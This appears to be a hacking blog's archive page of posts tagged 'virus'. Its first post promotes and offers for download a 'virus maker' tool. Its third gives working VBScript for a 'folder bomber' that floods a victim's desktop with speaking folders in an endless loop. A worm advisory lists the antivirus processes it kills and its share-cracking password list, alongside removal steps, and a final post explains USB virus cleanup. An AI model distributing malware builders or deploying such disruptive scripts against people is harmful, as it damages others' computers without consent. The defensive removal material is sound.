Welcome to the tech blog copacopi

Showing posts with label virus. Show all posts
Showing posts with label virus. Show all posts

Crackohack Special virus Maker 1.1 free download


Crackohack Special virus Maker 1.1
 DeadLine's Virus Maker 1.1


Hi all users, This is a cool virus maker we're posting here, and brought  to  you exclusively  by us.
You can also check another tutorial on :How to create a Computer Virus?
And 
This is what our authrors say about it.

We decided to make a custom virus maker because I don’t trust all the other virus makers that are out there on the net. I think it took me about 4 hours to code this. If you are wondering why it took me that long: it is because I used a new theme and new components, and I’m still learning how to use them properly.

Video:


Download:
Virustotal:
Read More

Viruses - Manual Deleting SolutionW32.Fujacks.D (spoclsv.exe/GameSetup.exe)- Virus

W32.Fujacks.D (spoclsv.exe/GameSetup.exe)- Virus


Systems Affected: Windows 2000, Windows 95, Windows 98, Windows Me, Windows NT, Windows Server 2003, Windows XP When the worm executes, it performs the following actions:
Copies itself as the following files:

[DRIVE LETTER]\setup.exe
[NETWORK DRIVE LETTER]\GameSetup.exe
%System%\Drivers\spoclsv.exe

Note: %System% is a variable that refers to the System folder. By default this is C:\Windows\System (Windows 95/98/Me), C:\Winnt\System32 (Windows NT/2000), or C:\Windows\System32 (Windows XP).
Creates the following file to execute [DRIVE LETTER]\setup.exe:

[DRIVE LETTER]\autorun.inf

Adds the value:

"svcshare"="spoclsv.exe"

to the following registry subkeys:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run

so that it executes whenever Windows starts.

May delete entries that contain the following strings:

"kav"
"KAVPersonal50"
"KvMonXP"
"McAfeeUpdaterUI"
"Network Associates Error Reporting Service"
"RavTask"
"ShStatEXE"
"yassistse"
"YLive.exe"

from the registry subkey:

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

Uses a series of "net share" commands to close any local shared folders found.

May delete files with the following extensions from the root folder of local partitions, except the C drive:

.gho
.exe
.scr
.pif
.com
Uses the following password list in attempt to copy itself to available network shares:

admin$
admin$
1234
password
6969
harley
123456
golf
pussy
mustang
1111
shadow
1313
fish
5150
7777
qwerty
baseball
2112
letmein
12345678
12345
ccc
admin
5201314
qq520
123
1234567
123456789
654321
54321
111
000000
abc
11111111
88888888
pass
passwd
database
123asd
ihavenopass
godblessyou
enable
2002
2003
2600
alpha
Login
pw123
love
mypc
mypc123
admin123
mypass
mypass123
901100
Administrator
Guest
admin
Root
Ends all processes in windows that contain the following strings in the title:

QQKav
QQAV
VirusScan
Symantec AntiVirus
iDuba
esteem procs
Wrapped gift Killer
Winsock Expert
msctls_statusbar32
pjf(ustc)
IceSword
Ends the following processes:

Mcshield.exe
VsTskMgr.exe
naPrdMgr.exe
UpdaterUI.exe
TBMon.exe
scan32.exe
Ravmond.exe
CCenter.exe
RavTask.exe
Rav.exe
Ravmon.exe
RavmonD.exe
RavStub.exe
KVXP.kxp
KvMonXP.kxp
KVCenter.kxp
KVSrvXP.exe
KRegEx.exe
UIHost.exe
TrojDie.kxp
FrogAgent.exe
Logo1_.exe
Logo_1.exe
Rundl123.exe
May end the following services, some of which may be security-related:

Schedule
sharedaccess
RsCCenter
RsRavMon
RsCCenter
RsRavMon
KVWSC
KVSrvXP
KVWSC
KVSrvXP
kavsvc
AVP
AVP
kavsvc
McAfeeFramework
McShield
McTaskManager
McAfeeFramework
McShield
McTaskManager
navapsvc
wscsvc
KPfwSvc
SNDSrvc
ccProxy
ccEvtMgr
ccSetMgr
SPBBCSvc
Symantec Core LC
NPFMntor
MskService
FireSvc
Scans the compromised computer and infects any .exe files it finds.

Manual Deleting Solution:
Restart your PC. Then go to safe mode (press F8).
Open Start>>Run and type cmd and press enter. This will open windows command prompt window. On this window, type as directed in steps further and press enter at the end of each step.

type cd\
type cd windows\system32
type attrib -r -h -s spoclsv.exe
type del spoclsv.exe
type del spoclsv.exe
now type d: and press enter for d: drive partition.
type attrib -r -h -s gamesetup.exe
type gamesetup.exe
type exit

Open Start --->> Run and type msconfig and press enter. This will open windows msconfig window then uncheck spoclsv.exe and gamesetup.exe
Open Start --->> Run and type regedit and press enter. This will open windows Registry Editor window then find and remove. (spoclsv.exe and gamesetup.exe)
Then update your antivirus software (your all software (.exe) attacked virus). So reinstall your software.
Note: Similarly repeat from steps 8 to 10 for all your hard disk partitions to remove the files created by the virus.
Read More

A Speaking Folder Bomber on the Desktop with Vbscript

This Code show you how it is easy to make some jokes with your friends or your victimes using the Vbscript. So I made a Speaking Folder Bomber on the Desktop.
The aim of this Vbscript is to Create Folders with names begin with VIRUS and a random Number in your desktop every 1 second in infinite Loop.And for the victim it become so hard to delete them manually.




I update this script to become more and more funny, so i add this feature and i tested it in windows xp and i don't know if it runs in windows Vista or Seven so please try it and give me your feedback.
The added feature is that the computer can say the name of the empty folder created by this script.

Code:
'----A Speaking Folder Bomber on the Desktop with Vbscript by Hackoo----
Dim fso,sho,basefolder,FolderBomb,bf
Set fso = CreateObject( "Scripting.FileSystemObject" )
Set sho = CreateObject( "Wscript.Shell" )
Set Voix=CreateObject("SAPI.SpVoice")
basefolder=sho.SpecialFolders("desktop")' Get your Desktop Folder
Set bf = fso.GetFolder( basefolder )
do
Randomize
r=Int((99999*Rnd)+1)
FolderBomb="VIRUS_"&r
Voix.speak FolderBomb 'The Computer speak and tell the name of the empty folder created by this script
bf.subFolders.Add(FolderBomb) 'Create Folders with names begin  with VIRUS and a random Number in your desktop
wscript.sleep 1000 'Pause of 1 second and continue the loop
loop

So for whom want to test this script in their computer without any problem i made for that an antidote or a cleaner.vbs
So when you execute it your desktop become Full of empty Folders with name like this VIRUS_2353 VIRUS_9876 etc.......
so to stop this .You must in first step stop and kill the wscript Process in the TaskManager.
The second step is to use My cleaner.vbs that i have made for this purpose because it's very hard to clean those folders manually.
To Stop Them just copy and paste this script below in Notepad and save it as Cleaner.vbs or Anti-FolderBomer.vbs or what you want but don't forget the extention must be .vbs and execute it and it delete all the Folders created by the Folder Bomber script.

Code:
'---------------Cleaner.vbs---------------
'--------------Made by Hackoo-------------
on error resume next
Dim fso, f, f1, fc, ss
Set fso = CreateObject("Scripting.FileSystemObject")
Set sho = CreateObject( "Wscript.Shell" )
basefolder=sho.SpecialFolders("desktop")
Set f = fso.GetFolder( basefolder )
Set fc = f.SubFolders
NomFichierLog="Dossiers_Vides"
temp = sho.ExpandEnvironmentStrings("%temp%")
Set OutPut = fso.CreateTextFile(temp & "\" & NomFichierLog & ".txt",1)
count=0 'initialisation du compteur des Dossiers vides
NBfichier=0 'initialisation du idesvompteur des fichiers
' Tuer le processus wscript
'sho.run "Taskkill /IM wscript.exe /F", 0
'Boucle pour la recherche des Dossiers vides
Msgbox f
For Each f1 in fc
If f1.size = 0 Then
count= count + 1
OutPut.WriteLine f1.Path
f1.delete
End if
Next
'Boucle pour la recherche des fichiers vides
For Each Fichier in f.files
if Fichier.size = 0 then
NBfichier=NBfichier+1
OutPut.WriteLine Fichier.Path
Fichier.delete
end if
next
Msgbox count& " Dossiers Vides ont été supprimés",64,"Dossiers Vides"
Msgbox NBfichier& " Fichiers Vides ont été supprimés",64,"Dossiers Vides"

Download File:
http://www.mediafire.com/?7cm5dycyqbe32eb
Read More

Files On USB Pen Drive Becomes Shortcuts After Virus Infection


There are times when your USB flash drive may get infected with some virus due to which the flash drive icon may change in my computer, or when you might see some exe files looking like folders in each folder on your computer, although both of these virus infection are now quite old these days, recently I saw a different kind of virus infection on flash drive in which all the folder and file changed to shortcut after virus infection.
If you encounter such a kind of situation don’t panic as your files and folder on the flash drive are intact, and they are not damaged so you can still retrieve the files on your USB Pen drive. Follow the procedure below to recover the files and folder which are actually hidden and not visible to you.
1. Download “AutorunExterminator” from the link below
http://www.softpedia.com/downloadTag/autorun+exterminator
Once Extract it, run its executable and plug your USB pendrive now. This will remove the autorun.inf files from your pendrive and also from the drives on your computer hard disk.
2. Click on Start >> Run >> type cmd and click on OK. Here we assume your pendrive letter as x: Enter this command written below.

attrib -h -r -s /s /d x:\*.*

Note:also observe the number of spaces b/w the letters of command.
Note: You can copy the above command –> Right-click in the Command Prompt and paste it.
Note: Don’t forget to replace the letter x with your pen drive letter.

3. Press Enter
Now check for your files in Pen Drive, you should see the files on your USB pen drive now
4. Now, download the Malwarebytes’ Anti-Malware from the below link
http://download.cnet.com/Malwarebytes-Anti-Malware/3000-8022_4-10804572.html
Update it and Perform “Full Scan” it will completely remove the virus from your computer also, which will avoid any further infection on any other USB flash drive with virus infection.
Note: Default selected option in Malwarebytes is “Quick Scan”.
Read More

© Copacopi, AllRightsReserved.